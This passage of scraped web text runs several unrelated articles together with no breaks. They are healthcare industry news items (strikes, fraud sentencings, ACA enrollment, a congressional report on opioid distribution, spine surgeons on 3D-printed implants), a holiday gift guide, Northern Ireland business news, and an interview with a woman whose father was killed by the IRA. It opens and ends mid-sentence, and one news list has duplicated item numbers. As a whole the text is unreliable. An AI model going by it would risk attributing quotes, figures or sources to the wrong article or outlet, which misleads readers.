benefits plan. A pharmacist by training, Dr. Tzau serves as Amazon's U.S. healthcare benefits principal. He joined earlier in December. In his role, Mr. Tzau will lead and participate in initiatives to improve Amazon's healthcare benefits programs and service. He will also work closely with Amazon's new healthcare company with Berkshire Hathaway and JPMorgan Chase, serving as a liaison between Amazon's benefits team on behalf of employees and the new healthcare venture. Dec. 12. CNBC reports that Amazon will team up with Omron Healthcare, a healthcare products developer, to create a blood pressure skill for its voice assistant Alexa. Read a timeline leading up to Amazon's healthcare moves in 2018 here. Iowa City-based University of Iowa Health Care implemented Zingbox, a healthcare internet of things analytics platform provider. The IoT Guardian is designed to protect and monitor networks of connected medical devices. University of Iowa Health Care has 45,000-plus connected medical devices. The platform will provide University of Iowa Health Care with a real-time inventory of all devices running on the network at any given time as well as insight into bioengineering operational efficiencies. Additionally, the health system will be able to use the platform to complete real-time assessment of network risk. The Oregon Association of Hospitals and Health Systems President and CEO Andy Davidson plans to step down from the role at the end of 2019. Here are five notes: 1. Mr. Davidson assumed the top post at the organization in 2005. 2. During his tenure, Mr. Davidson helped create of the state's Hospital Transformation Performance Program as well as the NW Safety and Quality Partnership, a regional patient safety and quality program. 3. Additionally, he worked early on with lawmakers and Governor John Kitzhaber to design Oregon's Coordinated Care Model. 4. He is a founding board member of the Oregon Health Leadership Council, a multistakeholder collaborative that aims to increase access to high-quality care in the state. 5. The organization, which represents all hospitals in the state, plans to conduct a nationwide search for a new CEO. Baltimore-based LifeBridge Health and Elkton, Md.-based Union Hospital of Cecil County have ended merger negotiations, according to the Cecil Whig. In January, LifeBridge and Union Hospital signed a letter of intent to merge. They were expected to enter a definitive agreement by July, but that date was pushed back to Oct. 10 and then Dec. 31. Union Hospital CEO Richard Szumel, MD, told the Cecil Whig it was clear by November that the merger proposal would not move forward. Uncertainty about Union Hospital's future revenue under Maryland's hospital reimbursement system was the primary reason merger talks ended, according to Dr. Szumel. The Maryland Health Services Cost Review Commission is reviewing whether to reduce the hospital's reimbursement rate. Dr. Szumel said the community should not expect merger talks to resume with LifeBridge, even if Union Hospital leaders get a favorable outcome in the HSCRC review. More articles on healthcare industry transactions: PeaceHealth to acquire 37 clinics LifePoint, LHC Group finalize 2 acquisitions Mount Sinai finalizes partnership with South Nassau Here are 10 notable labor strikes reported by Becker's Hospital Review this year: 1. 4,000 Kaiser mental health clinic workers launch 5-day strike in California Four thousand California mental health clinicians began a five-day strike Dec. 10 to protest what they call understaffing issues that lead to long wait times for therapy appointments. 2. University of Illinois-Chicago LPNs walk off the job Licensed practical nurses at Chicago-based University of Illinois Hospital and Clinics went on strike Nov. 15 amid contract negotiations. 3. University of California hospital workers end strike Thousands of University of California unionized workers ended a three-day strike at UC medical centers on Oct. 25. The strike involved American Federation of State, County and Municipal Employees Local 3299, which represents more than 25,000 UC service and patient care technical workers. Members of University Professional and Technical Employees-Communications Workers of America 9119, which represents more than 13,000 UC technical and professional employees, also participated. 4. UPMC workers strike; nonunion hospital workers launch political action committee Dozens of UPMC hospital workers in Pittsburgh went on strike Oct. 4 in support of their right to form a union. 5. 560 Providence Tarzana workers strike Approximately 560 workers at Providence Tarzana (Calif.) Medical Center went on strike Aug. 16 over wages and staffing. 6. Rhode Island hospital workers begin 3-day strike Unionized healthcare workers at Rhode Island Hospital and Hasbro Children's Hospital in Providence began a three-day strike July 23 amid contract negotiations. 7. UVM Medical Center nurses begin 2-day strike Unionized nurses at University of Vermont Medical Center in Burlington began a strike July 12 after previous contract negotiations with management failed. 8. Pennsylvania nurses strike, cite staffing concerns at Wilkes-Barre General Registered nurses at Wilkes-Barre (Pa.) General Hospital went on strike May 31, primarily over staffing. 9. University of California hospital workers strike: 8 things to know Union workers from University of California hospitals and campuses went on strike amid contract negotiations. UC service workers, who are represented by the American Federation of State, County and Municipal Employees Local 3299, began a three-day strike May 7 over issues such as wages, healthcare premiums and job outsourcing. Members of the University Professional and Technical Employees-CWA and the California Nurses Association joined the walkout in support beginning May 8 10. Baystate Franklin nurses strike: 6 things to know Nurses at Greenfield, Mass.-based Baystate Franklin Medical Center began their 24-hour strike April 11 amid contract negotiations. Nurses have since ratifieda contract with the hospital. The three-year agreement, which covers about 200 Baystate Franklin nurses represented by the Massachusetts Nurses Association, addresses various patient care issues, including staffing. More articles on human capital and risk: Kaiser accused of refusing to negotiate labor deal covering 85,000 workers Kaiser Permanente mental health workers end 5-day strike Massachusetts workers at Steward Health Care hospital OK union Registered nurses at Salem, N.J.-based Memorial Hospital of Salem County have reached a contract agreement with the hospital's next owner, Salem County Hospital Corp., NJ Advance Media reported. The agreement, approved by members of the Health Professionals and Allied Employees Local 5142 on Dec. 13, reportedly comes after eight years of efforts. It includes 3 percent pay increases for nursing staff, as well as the formation of a committee of nurses and hospital management to address staffing issues, according to the union. Nurses have tried to reach a deal since unionizing in 2010 and were unsuccessful in doing so with Franklin, Tenn.-based Community Health Systems. In November, for-profit hospital operator CHS agreed to sell Memorial Hospital to Salem County Hospital Corp., a nonprofit that will be run by Bloomfield, N.J.-based Community Healthcare Associates. The sale is expected to close soon, at which time the one-year labor deal takes effect, according to NJ Advance Media. The future owner plans to rename the hospital Salem Medical Center, to be operated as a nonprofit facility. More articles on human capital and risk: Kaiser accused of refusing to negotiate labor deal covering 85,000 workers Kaiser Permanente mental health workers end 5-day strike Massachusetts workers at Steward Health Care hospital OK union New York City-based NYU Langone Health has reached a new contract agreement with healthcare workers, according to union representatives. The agreement covers nearly 7,500 members of 1199 SEIU United Healthcare Workers East. Members serve in Manhattan at NYU Langone-Tisch and NYU Langone Orthopedic Hospital, and at NYU Langone-Brooklyn. They include patient care technicians, technologists, physical therapists and other workers. "NYU is a world-class hospital because of the quality of its workforce, and we need and deserve world-class healthcare benefits," Shaneka Castro-Birden, an operating room scheduler at NYU Langone-Tisch, said in a news release. The agreement comes after months of negotiations and multiple contract extensions, according to the union. It maintains health benefits and includes annual pay raises during the contract term. NYU, which has rejoined the League of Voluntary Hospitals and Homes, also has agreed to continue its payments into the union pension and benefit funds. NYU Langone spokesperson Lisa Greiner told Becker's hospital administrators "worked hard in achieving an agreement with our employees .. which included re-establishing our relationship with league." More articles on human capital and risk: Kaiser accused of refusing to negotiate labor deal covering 85,000 workers Kaiser Permanente mental health workers end 5-day strike Massachusetts workers at Steward Health Care hospital OK union The former executive director of Cleveland Clinic Innovations, the development and commercialization arm of Cleveland Clinic, was sentenced Dec. 19 to 30 months in prison for his role in a fraud scheme, according to the Department of Justice. Federal prosecutors brought charges in September 2017 against Gary Fingerhut, and he pleaded guilty one month later to his role in a conspiracy to defraud Cleveland Clinic out of more than $2.7 million. Mr. Fingerhut was the executive director of Cleveland Clinic Innovations for about two years before his employment was terminated in June 2015. During his time at CCI, Mr. Fingerhut hired Wisam Rizk to serve as a consultant and then chief technology officer of Interactive Visual Health Records, which was created to develop a visual medical charting concept into a marketable product. Mr. Fingerhut and Mr. Rizk were prohibited from receiving financial benefit or having financial interests in the companies Cleveland Clinic did business with, unless expressly approved by the Clinic. Mr. Rizk worked with others to incorporate a shell company, known as iStarFZE, and used the shell company to submit a bid to Cleveland Clinic to design and develop IVHR's software. He did not disclose his financial interest in iStarFZE to Cleveland Clinic, and he rewarded Mr. Fingerhut financially for not disclosing the fraud scheme. Between August 2012 and November 2014, Mr. Fingerhut accepted nearly $469,000 in payments from Mr. Rizk. In addition to his prison term, Mr. Fingerhut was ordered to pay $2.78 million in restitution for defrauding Cleveland Clinic. Mr. Rizk pleaded guilty to his role in the fraud scheme and is awaiting sentencing. More articles on legal and regulatory issues: Pharmacy owner gets prison time for role in $8.4M billing fraud scheme Maryland attorney general seeks to uphold ACA after Texas judge's ruling How a New Jersey man allegedly defrauded BCBS of $10M So youve gotten all your gifts (right?), but just in case, we've rounded up the best last-minute things that'll arrive in time for everyone youve put off shopping for. Welcome to Last Minute Week. Photo: Courtesy of the retailers Its officially down-to-the-wire for gift-giving (especially since for many retailers today is the last day to order for your gift to arrive by December 24th), so youll have to hustle if you want your Christmas gifts to arrive in time. Here, weve whittled down your last-minute options to some of our favorites to help you cater your search, even for the hardest-to-shop-fors on your list. Weve singled out where specific retailers have last-minute shipping deadlines, where its not super obvious, to avoid any confusion. And dont miss all of the Strategists holiday gift coverage right here. $5 and under Lodge 3.5 Inch Cast Iron Mini Skillet $14 Consider this mini-Lodge pan a starter version of the real deal if youre shopping for someone who has hang-ups about the added maintenance that comes with cast iron. It also makes a good gift for the peckish eater who just wants a single egg in the morning. Many items on Amazon, including this skillet, have guaranteed delivery by December 24 if you order today and if you have Prime the order can arrive as soon as December 18. $14 at Amazon Buy $14 at Amazon Buy $10 and under Cosrx Acne Pimple Master Patch $6 The person who loves to pick would appreciate a sheet of these miracle-working pimple patches at the bottom of their stocking (they were our best seller for all of 2018). If you opt for two-day shipping, you can still receive the package in time for Christmas Eve. $6 at Dermstore Buy $15 and under Entireworld Type A Version 4 Socks $15 If you select 2-day shipping, your package will still arrive by Christmas. A pair of bright socks would make a cheery gift for just about anyone on your list. $15 at Entireworld Buy $25 and under Trtl Pillow $30 Photo: Bobby Doherty/New York Magazine According to writer Lauren Levy, who tested several travel pillows, this one from Trtl is the best. The Trtl pillow is so small that its essentially a padded scarf, taking up the same amount of space as a couple of magazines, she wrote. Three interconnected bands hidden inside a hypoallergenic fleece exterior hold your head almost completely upright. Give this to the frequent flyer in your life. $30 at Amazon Buy $30 at Amazon Buy Matney Stealing Coin Cat Box $23 A favorite of Diptyque creative director Myriam Badault, this cute coin box would make a sweet gift for a child, or anyone looking to store some loose change. If you order today with expedited shipping, the package will arrive by December 24 (just note that if you dont want to splurge on expedited shipping, it may arrive after Christmas). $23 at Amazon Buy $23 at Amazon Buy $50 and under Glossier Balm Dotcom Trio $36 now 17% off $30 Order with rush shipping by 1 p.m., today, December 20 to receive Glossier orders by Christmas. According to teen girls, Balm Dotcom (and just about anything from Glossier) is a much-coveted gift, so give this trio to your cool younger cousin. $30 at Glossier Buy Philips Norelco Beard Trimmer $100 This beard trimmer with a radial dial lets you choose lengths down to the half-millimeter for guys who prefer the 5 oclock shadow look. Writer Kurt Soller says its a godsend for preventing any mess around the bathroom sink: A vacuum-suction feature that collects the majority of your shaven hairs up to 90 percent of them, according to the company, but who really knows? $100 at Walmart Buy $100 and under Parachute Classic Bathrobe $99 This bathrobe, from the makers of our favorite linen sheets, has been something of a viral hit, according to writer Amanda FitzSimons. Accordingly, its made our best-seller list multiple times. Its still available to arrive by Christmas Eve if you order it today. $99 at Parachute Buy $250 and under Eberyjey Vera Slouchy Pajamas, Pink $132 $132 Some sizes and colors in Eberjeys extra-cozy Vera pajamas will still arrive in time for Christmas Eve if you order today. $132 at Nordstrom Buy $500 and under Technivorm Moccamaster 59616 KBG Coffee Brewer, 40 oz $460 If youre shopping for a coffee snob who wants the absolute best of the best, this Technivorm Moccamaster would be an excellent place to look. Maxine says, Its a gold standard drip coffee maker thats as easy to use as a regular Mr. Coffee but makes coffee that tastes a million times better. $460 at Amazon Buy $460 at Amazon Buy When money is no object Todd Snyder Wool Plaid Cruiser Jacket $698 Photo: Courtesy of Vendor This is not just any plaid jacket the wool is sourced from an Italian mill near Florence. Choose next day shipping for it to arrive in time for Christmas Eve. $698 at Todd Snyder Buy get the strategist newsletter Actually good deals, smart shopping advice, and exclusive discounts. Email This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Terms & Privacy Notice By submitting your email, you agree to our Terms and Privacy Notice and to receive email correspondence from us. The Strategist is designed to surface the most useful, expert recommendations for things to buy across the vast e-commerce landscape. Some of our latest conquests include the best acne treatments, rolling luggage, pillows for side sleepers, natural anxiety remedies, and bath towels. We update links when possible, but note that deals can expire and all prices are subject to change. Every editorial product is independently selected. If you buy something through our links, New York may earn an affiliate commission. Senate Democrats sought to authorize the Senate to intervene in a federal ACA lawsuit and defend the health law, but a vote on the issue was blocked by Republicans, according to The Hill. Senate Republicans blocked the vote on Dec. 19, nearly a week after U.S. District Judge Reed O'Connor of Texas ruled that the ACA's individual mandate was unconstitutional and the rest of the law is invalid. Sen. John Barrasso, R-Wyo., reportedly objected to a vote on authorizing the Senate to intervene in the case, and only one objection from a senator is needed. Both sides in their comments mentioned the ACA's protections for people with pre-existing conditions. Mr. Barrasso said, "Regardless of what happens in this legal process, we look to protect people with pre-existing conditions," according to The Hill. Sen. Joe Manchin, D-W.Va., reportedly said, "If people say we all have sympathy and empathy for people with pre-existing conditions, if you want to protect then ... at least allow us to move forward on a unanimous consent so we can fight and have a fighting chance." House Democrats are also working to intervene in the case, which could make it to the U.S. Supreme Court on appeal. The owner of a Miami pharmacy was sentenced Dec. 18 to more than seven years in prison for his role in a six-year Medicare fraud scheme, according to the Department of Justice. Antonio Perez Jr., who previously pleaded guilty to one count of conspiracy to commit healthcare fraud, caused Medicare to pay more than $8.4 million for prescription drugs that were never provided to beneficiaries. He admitted paying illegal kickbacks to Medicare beneficiaries. In exchange for the kickbacks, Medicare beneficiaries promised to fill their prescriptions at Mr. Perez's pharmacy and allowed the pharmacy to submit claims to Medicare for prescription drugs they didn't receive. In addition to his prison term, Mr. Perez was also ordered to pay $8.4 million in restitution and to forfeit the same amount. More articles on legal and regulatory issues: How a New Jersey man allegedly defrauded BCBS of $10M 12 latest healthcare industry lawsuits, settlements Aurora Health will pay $12M to resolve improper compensation claims The Drug Enforcement Administration allegedly failed to stop millions of opioids from being diverted into West Virginia, according to a congressional report detailed by The Washington Post. Six things to know: 1. The majority staff of the House Energy and Commerce Committee found that distributors' oversight of their customers was inadequate because they did not question suspicious activity or monitor how many painkillers were shipped to pharmacies. 3. The same committee found the DEA did not use its drug-monitoring database properly, which contributed to repeated mistakes and lack of oversight, fueling black market sales and illegal distribution of opioids. Under the Controlled Substances Act, the DEA is required to report and track data on opioids. "Taken altogether, the Committee's report outlines a series of missteps and missed opportunities that contributed to the worsening of the opioid epidemic in West Virginia," the report said, cited by The Washington Post. "While focused on a narrow part of West Virginia, the report raises grave concerns about practices by the distributors and the DEA nationwide." 3. The committee investigated Dublin, Ohio-based Cardinal Health; Chesterbrook, Penn.-based AmerisourceBergen; and San Francisco-based McKesson Corp., the country's three largest drug distributors. The report found that all three companies combined sent more than 900 million doses of hydrocodone and oxycodone to West Virginia between 2005 and 2016. 4. Cardinal Health said in a statement cited by The Washington Post that it commends the committee for "examining this complex national public health issue." Cardinal Health also said it will "continue to implement rigorous anti-diversion controls" and raise awareness about overprescribing painkillers. 5. AmerisourceBergen said in a statement cited by The Washington Post that it has "virtually no interaction with physicians and limited legal ability to gather information on their practices and prescribing behavior." 5. A DEA spokesperson said upgrades to the agency's software program have increased investigations into manufacturers, distributors and providers over the past three years. McKesson did not respond to requests for comment Dec. 18 by The Washington Post. "Our bipartisan investigation revealed systemic failures by both distributors and the DEA that contributed to and failed to abate the opioid crisis in West Virginia," Rep. Greg Walden,R-Ore., Energy and Commerce Committee Chairman, and ranking Democrat Rep. Frank Pallone Jr.,N.J., said in a statement. More articles on opioids: Filling opioid prescriptions postpartum ups risk of persistent use regardless of delivery type Purdue must release secret OxyContin marketing files, court rules AMA, PAMED, Manatt Health release Pennsylvania's progress in curbing opioid use Signups through the ACA health insurance exchanges declined year over year during the 2019 open-enrollment period, CMS revealed on Dec. 19. The federal government said preliminary data shows about 8.5 million Americans signed up for ACA health plans through the midnight Dec. 15 Eastern Time enrollment deadline, compared to 8.8 million people at the same time a year prior. CMS Administrator Seema Verma said increased employment and more Americans with employer-based coverage may have contributed to the decrease. Additionally, CMS estimates about 100,000 exchange enrollees in Virginia became eligible for expanded Medicaid in the state. While enrollment was running lower overall, it increased in the last week, with more than 4.3 million people signing up during that period compared to 4.1 million the same period a year prior, according to The Hill. Enrollment figures from CMS only apply to states using the HealthCare.gov platform. Copper-infused patient gowns, pillowcases, bed sheets, blankets and towels helped decrease infection rates at six hospitals owned by Norfolk, Va.-based Sentara Healthcare, a study published in the Journal of Hospital Infection found. The researchers compared healthcare-associated infection rates in six Sentara Healthcare hospitals in three parallel periods before and after replacing regular linens with copper-infused ones. Using the products by Cupron a copper-based antimicrobial technology company significantly decreased occurrences of Clostridium difficile infections and infections caused by multidrug resistant organisms such as Methicillin-resistant Staphylococcus aureus and Vancomycin-resistant Enterococcus, the study found. "This study of Cupron's medical textiles alone validates their effectiveness in preventing hospital-acquired infections in a real world clinical setting, along with a robust infection prevention protocol," Jacque Butler, director of infection control and prevention at Sentara Healthcare, told CBS-affiliated television station WTKR. Orthopaedic Hospital of Wisconsin in Glendale is set to open two outpatient locations in January 2019, according to Milwaukee Business News. Here are five notes: 1. The new outpatient centers will be located in New Berlin, Wis., and Greenfield, Wis., to meet the growing needs of the communities. 2. The Orthopaedic Hospital of Wisconsin has seen dramatic expansion in the past few years. In 2016, the hospital opened an outpatient facility in Cedarburg, Wis. 3. At the hospital, 40 percent of patients take advantage of the outpatient facilities. 4. The Orthopaedic Hospital of Wisconsin is a 30-bed facility focused on orthopedic injuries. 5. In 2017, the hospital purchased a three-story office building adjacent from its facility for $2.5 million. The building was acquired for future development. Using robotic technology for pedicle screw placement may lead to consistently accurate results. However, spine surgeons should remain vigilant about confirming robotic-assisted screw trajectory, according to an article in Spine. Study authors systematically reviewed 32 articles on robotic-assisted pedicle screw placement. Here are five study findings: 1. Robotic-assisted intrapedicular screw placement accuracy was comparable, if not superior, to freehand spine surgery. 2. Compared to conventional freehand surgery, robotic-assisted surgery had longer operative time. 3. Radiation exposure appeared to be variable between different studies. Radiation time decreased in the robot arm as the total number of robotic cases increased, suggesting a learning curve effect. 4. Multilevel procedures tended to result in earlier discharge in patients undergoing robotic spine surgery. 5. Surgeons should be mindful of confirming robotic-assisted screw trajectory, study authors conclude, as drilling pathways have been demonstrated to be altered by soft tissue pressures, forceful surgical application and bony surface skiving. Eight spine surgeons discuss whether the use of 3D-printed implants in spine surgery will increase. Ask Spine Surgeons is a weekly series of questions posed to spine surgeons around the country about clinical, business and policy issues affecting spine care. We invite all spine surgeon and specialist responses. Next week's question: What is the most important career-related lesson you have learned this year? Please send responses to Anuja Vaidya at avaidya@beckershealthcare.com by Wednesday, Dec. 26, at 5 p.m. CST. Question: What are your thoughts on the trajectory of 3D-printed implants in spine surgery? Will its use grow? Mark M. Mikhael, MD. Spine Surgeon at NorthShore University HealthSystem's Orthopaedic Institute and Illinois Bone & Joint Institute (Chicago & Glenview, Ill.): I am most excited to see how 3D printing will grow with regard to the different materials used, specifically porous metal and biologically favorable implants so they can grow onto bone, similar to what we see in total joint replacement. When it comes to custom implants for spine surgery, they are mainly used as spacers or cages to hold for fusions. The technology is promising but not necessary for all spinal pathologies; most typical patients fall into pre-set implant sizes and don't need custom printed implants. As a potential advantage going forward, premade 3D-printed devices can be most useful to determine an appropriate implant size, so the surgical team can prepare the correct implant for surgery, instead of bringing multiple styles and trials into the OR. In this way, 3D-printed implants do provide a cost-savings in our value-based healthcare system and might continue to do so as this technology evolves. Finally, 3D-printed spine models can be useful in deformity surgery when based off preoperative CT scans. This can allow surgeons to better prepare for osteotomies and implant placement prior to the procedures. Rob D. Dickerman, DO, PhD. Director of Neurosurgery at Presbyterian Hospital of Plano (Texas) and Director of Spine Surgery at Medical Center Frisco (Texas): With hospitals cutting costs repeatedly, I don't see 3D implanting being a financially viable option. Christian Zimmerman, MD. Spinal Neurosurgeon at Saint Alphonsus Medical Group and SAHS Neuroscience Institute (Boise, Idaho): Sterility, precision and added liability will be the largest of hurdles. Yet, the conventional means of manufacturing and surgical applications have become more mechanized. The use will only increase as the proven method of ease, cost and specificity excels. Brian R. Gantwerker, MD. Founder of the Craniospinal Center of Los Angeles: The 3D printing realm is really exciting. I think custom-printed implants will most definitely grow. As the costs come down, you will see its use spread. And I think as surgeons can convince purse-holders that these implants cut down on failure and on operating room time, it will take off. J. Brian Gill, MD. Spine Surgeon at Nebraska Spine Hospital (Omaha): I am really excited about this new technology and its application to spine surgery. I have just begun using these materials in patients. The potential to achieve better fusion rates and overall better outcomes remains to be seen. I anticipate using a far majority of these implants in the spine surgeries I perform over the next 12 months. Payam Farjoodi, MD. Orthopedic Spine Surgeon at Spine Health Center at MemorialCare Orange Coast Medical Center (Fountain Valley, Calif.): This is a technology in its infancy, but it certainly holds promise in the development of a more individualized approach. There are a number of applications for 3D-printed implants which have not even been thought of yet. I think cost considerations are the current limit to its widespread implementation. As costs decrease, volume will rise leading to further cost reduction. Issada Thongtrangan, MD. Orthopedic Spine and Neurosurgeon at Minimally Invasive Spine (Phoenix): 3D-printed implants have been a hot topic in the past couple of years in spine industry. In my opinion, it makes a lot of sense in difficult cases such as tumor resections and/or any other bony deficiency... I am still waiting to see the outcomes evidence in common degenerative fusion cases. Ram Mudiyam, MD, Orthopedic Spine Surgeon at Hoag Orthopedic Institute (Irvine, Calif.): Although the concept of 3D-printed (also known as additive manufacturing) spinal devices is exciting and potentially revolutionary, production and application are still in their infancy. Currently 3D printing is limited to interbody cages where porosity and structure can be designed to mimic cancellous bone. There is no level 1 evidence to prove they provide clinically superior outcomes. The technology certainly has the potential to be a game changer with regard to custom manufacturing of spinal segments in tumor replacement and complex deformity surgery. Newry insurance broker Autoline has been sold to Prestige Insurance for an undisclosed sum. Prestige already owns Abbey Insurance and Open + Direct. Autoline was set up in 1975 and was acquired by Michael Blaney in 1997. The broker provides personal lines, business and commercial insurance and a young driver app, Chilli Drive. It also sells private health and farm insurance. Autoline has offices in Newry, Ballymena, Coleraine, Downpatrick and Enniskillen. In its most result results for 2017, Autoline Direct Insurance Consultants reported an increase in sales of 12.8% to 53.5m, with pre-tax profits of 2m. Prestige Insurance Holdings, which this year received a massive investment from Capital Z in the US, was set up in Newtownabbey in 1973 and provides broking, underwriting, insurance software and claims management. Capital Z is now the company's majority shareholder. Its latest deal - which is subject to approval by the competition authorities - will involve the acquisition of the full shareholding of Autoline's parent company. In total, the expanded Prestige group would employ over 700 people. Trevor Shaw, chief executive of Prestige Insurance Holdings, said: "Following the investment brought by our new majority owners Capital Z we have openly stated that we have ambitious plans for growth of the group. "Very much like our own business, Autoline has a customer-centred approach and a strong reputation, which makes it an excellent fit and an obvious choice for acquisition. "As a newly combined management team we will utilise the knowledge of both businesses for the benefit of our customers and for maximum growth." In 2016 Abbey bought Open + Direct in a multi-million pound deal that made it the dominant insurance player in the Northern Ireland market with a total of 200,000 customers and 420 staff. The acquisition of Autoline will increase its market share, although the numbers of customers on Autoline's books has not been disclosed. Belfast remained by far the busiest port, handling 67% of traffic in 2017, ahead of Warrenpoint (12%), Larne (11%) and Londonderry (7%). Northern Ireland is exporting twice the volume of freight that it did 20 years ago, with Warrenpoint Port more than trebling its output. Figures collected by the Department for Transport recorded 27.1 million tonnes of traffic passing in and out of ports here during 2017, 2.2% more than in 2016, against an overall UK decline last year. While imports account for 61% of the volume, traffic travelling out is rising at a much faster rate than inbound traffic. A total of 10.5m tonnes of traffic passed out of the main ports in 2017, just over 400,000 tonnes more than the year before. It's almost double the 5.5m tonnes recorded in 1997. Belfast remained by far the busiest port, handling 67% of traffic in 2017, ahead of Warrenpoint (12%), Larne (11%) and Londonderry (7%). Exports from Belfast more than doubled from 3.3m tonnes in 1998 to 7.1m last year. Warrenpoint has been the other notable success story. It has risen from 491,000 tonnes exported in 1998 to 1.6m in 2017. Port chief executive Clare Guinness said the growth had been largely driven by the roll-on/roll-off (RO/RO) wheeled cargo traffic via Seatruck Ferries. In July Seatruck announced a 90m investment in two larger vessels for its Warrenpoint Irish Sea crossing to Heysham. The four-deck ferries will facilitate an extra 30,000 trailers every year. The port's RO/RO growth has been in part driven by Co Tyrone-based engineering firms exporting machinery around the world. "The roll-on/roll-off is set to continue that growth by 25-30% over the next three or four years. We're certainly on a very good trajectory," said Ms Guinness. Outside RO/RO, Warrenpoint exports bulk materials from Quinn Cement, Westland Horticulture, as well as scrap, refuse-derived fuel and woodchip, which is exported to Norway. Seamus Leheny, Freight Transport Association (NI) manager, said RO/RO increased by 1.5% last year, with 846,000 goods vehicles shipping to Britain. He added: "However, we are behind growth in the Republic, which for the same period saw shipping volumes increase by 6% with RO/RO volumes growing by 4% with 1.12m goods vehicles shipping via its ports." Tracy Jamison was just 13 when her father, Thomas, was shot dead by the IRA. The construction worker and part-time UDR sergeant died instantly after his cement mixer lorry was ambushed by gunmen on a lonely country road near Tullynure, outside Cookstown, on March 8, 1990, three weeks after he turned 40. As mum-of-one Tracy approached her own 40th birthday, and the poignant connotations that held for her, she decided to take stock of her life and write a bucket list. Prominent in her ambitions was starting her own health, beauty and self-care business. Inspired by her dad, that is exactly what she did in creating tracyjamison.com. On her website, the now 42-year-old offers advice and wisdom on taking care of one's mind and provides soothing and calming products for the body - something she wishes she'd had while navigating the dark days after her father's murder. "My dad worked in construction," Tracy explains. "He worked two jobs - he was also a sergeant in the UDR. "The frustrating thing is that he had said to my mum just before he was killed that he was going to leave the force. He was tired and couldn't do it anymore. "He had just turned 40 in February, and then he was killed in March. "There was Mum, Dad, me and an older and younger brother at home. At that particular time, my dad was working taking concrete to a police station, which obviously was under threat at that time. "They were working flat out to get it finished, and my dad had taken a different route to get it done quicker. "In Castlecaulfield, the IRA had taken over a house belonging to a pensioner couple. They had tied them up and were holding them hostage. Expand Close A teddy made from one of her fathers shirts / Facebook Twitter Email Whatsapp A teddy made from one of her fathers shirts "Daddy was driving back through Castlecaulfield when one of the IRA men threw a grenade at his lorry. "When he stopped, they just riddled the vehicle with bullets and killed him. That is when my life changed completely. "I was just 13 years old that day. We were in the living room of our house. I remember watching Grange Hill, and John Craven's Newsround was coming on when the doorbell went. "Mummy was baking in the kitchen. I didn't even make it out of the living room because it all happened so quickly. "My mum was told at the door. There was this squeal, then she dropped to the floor. I was just standing there. "I was asking what had happened and just didn't know what was going on, then they told me and everything became a bit of a haze. Expand Close Happy childhood: Tracy with brother Ryan / Facebook Twitter Email Whatsapp Happy childhood: Tracy with brother Ryan "There was this influx of people in the house. I didn't know many of them. There were people who said they were there to help, but my knowledge of what was going on really disappeared. "The only thing I really remember was kissing my daddy on the cheek the night before he died before I went to bed and saying 'night night, Daddy'. He always replied by saying 'night night, pet'. It was our ritual. "The next day, my dad was in a coffin, and that was that. Nothing can prepare you for that. "It's the image that will never leave me ... that image of when I last saw him, his cheek so warm to the touch. The next time I touched it, it was very cold. "He had a very, very big funeral. He was well-liked. He was the most likeable character and so witty, and he would have done anything for anyone. If there was something wrong and you asked for help, he'd be there. He never complained. "Just before he died, he has said to my mummy that he was tired, and I saw that - I saw a man at 40 just looking so exhausted. "He was coming in from one job, having his dinner and going out until four in the morning, getting two hours' sleep and doing it all over again. That was life for him - he didn't want mummy to work. He wanted to provide for us. He just lived for my mum and us kids." After her father was murdered, Tracy's life changed utterly. She moved away from Magherafelt, to Coleraine, in a bid to escape her heartbreaking memories of home. The mother-of-one, who was once romantically linked to celebrity hairdresser Jason Shankey, also found relationships difficult. "Daddy's death had a massive impact on our family," she admits. "Mummy was going through her grief. I never wanted to tell her how I was feeling. In many ways, I didn't grieve in the way that people expected me to - I didn't even try in school. "Later on in life, Daddy's murder affected me and my relationships in a way that I have a fear that... if I care so much for one person, then I lose them... I couldn't I go through that again. That is the biggest problem. "I'd say that anyone affected by the Troubles has the same problem. Unless you know that feeling of having someone you love taken from you in a heartbeat, you might not understand. "I often wondered if the people who do this realise, really, the harm they are doing by taking a life. "It doesn't end there - that is just the beginning. It is like a cancer that goes through every member of the family. "I often wonder what was it all for and what really did it do, because I'm hurting and I want my father more than anything. "I wonder if they realise the heartache that they caused, because it is never-ending - it's a lifetime of pain. "I think the tragic thing for me is that I can't really remember what my dad sounded like, or what he smelled like. "I had teddies made out of his shirts, just for memories for me and for my family. "It's hard ... you would give anything to keep life as it was." As she approached her 40th birthday, with memories of her father's murder floating through her head, Tracy had an epiphany of sorts and the poignant birthday brought her life into sharp focus. Soon after, she left her job in events and decided to set up her own business. "My dad turned 40 years old on February 24, 1990, and was killed on March 8," Tracy says. "Coming up to my 40th, I think a lot of people thought I had an issue with my age, but that wasn't the case. I had an issue with two digits that were always engraved in my mind - the age that my dad died. "Every time I thought of my 40th, I thought that I did not want to celebrate. I didn't have a cake, I didn't have anything. I wasn't down about it, I just passed it as another day with zero fuss. "But, gradually, I started thinking to myself, 'Dad died at 40 and worked so hard at everything'. "I didn't want to pass my life away not having done anything that I really wanted to do, so I sat down and made a bucket list. The first thing on that list was to start a business. "I had made my own balms for years - it was a passion for me - so I started to work on lip balms, facial oil and calming candles, and it really went from there." Tracy reset her entire life, delving deep into her passion for skincare and wellbeing and setting about helping others concentrate on self-care. "I just felt, if you are unhappy, if you have any reason to ask yourself where your life is going, stop, seek clarity, seek guidance and, above all, let your heart guide you," she says. "My main focus was to reassure anyone that if they are not happy, there is always hope -never give up. "I left my job and things really started to come together for me. "I made these products for a reason. People don't look after themselves anymore - they are too busy. People are not paying attention to their own self-care and are more focused on everything else. "I make my products from scratch from raw materials. People know that if they use my products, they are taking care of their skin for the right reasons. "I set up my website and blog, which really talk about the importance of taking time out. "The inspiration behind that was that my father was exhausted at 40 because he had worked so hard. "When people work so hard and are that tired, there is something not right in the pattern. "My website is all about self-care, looking after yourself and making that right. "In my blogs, I discuss where I was and where I am now, turning things around, turning negative things into positive things and not letting experiences define you. "I think the message I'm trying to get across is that no matter what happens in your life, you must never give up. "Put your heart and soul into a product, a business or your work, and let nothing get in your way. "It's all about taking time out and not letting the bigger things in life affect you." Tracy hopes that her father would be proud of her. He was a man, she stresses, who would have "done anything to help anyone", and she is following his ethos to the letter. "My dad inspired me to do this," she explains. "He was such a good, caring, funny man. He worked so hard for his family and at 40 he was killed in the Troubles. And for what? Absolutely nothing. "I really hope he is proud of me. I am sure that there have been times that he has put his head in his hands up there, but I do genuinely feel in the times when I need him that he is here beside me. "Every night to 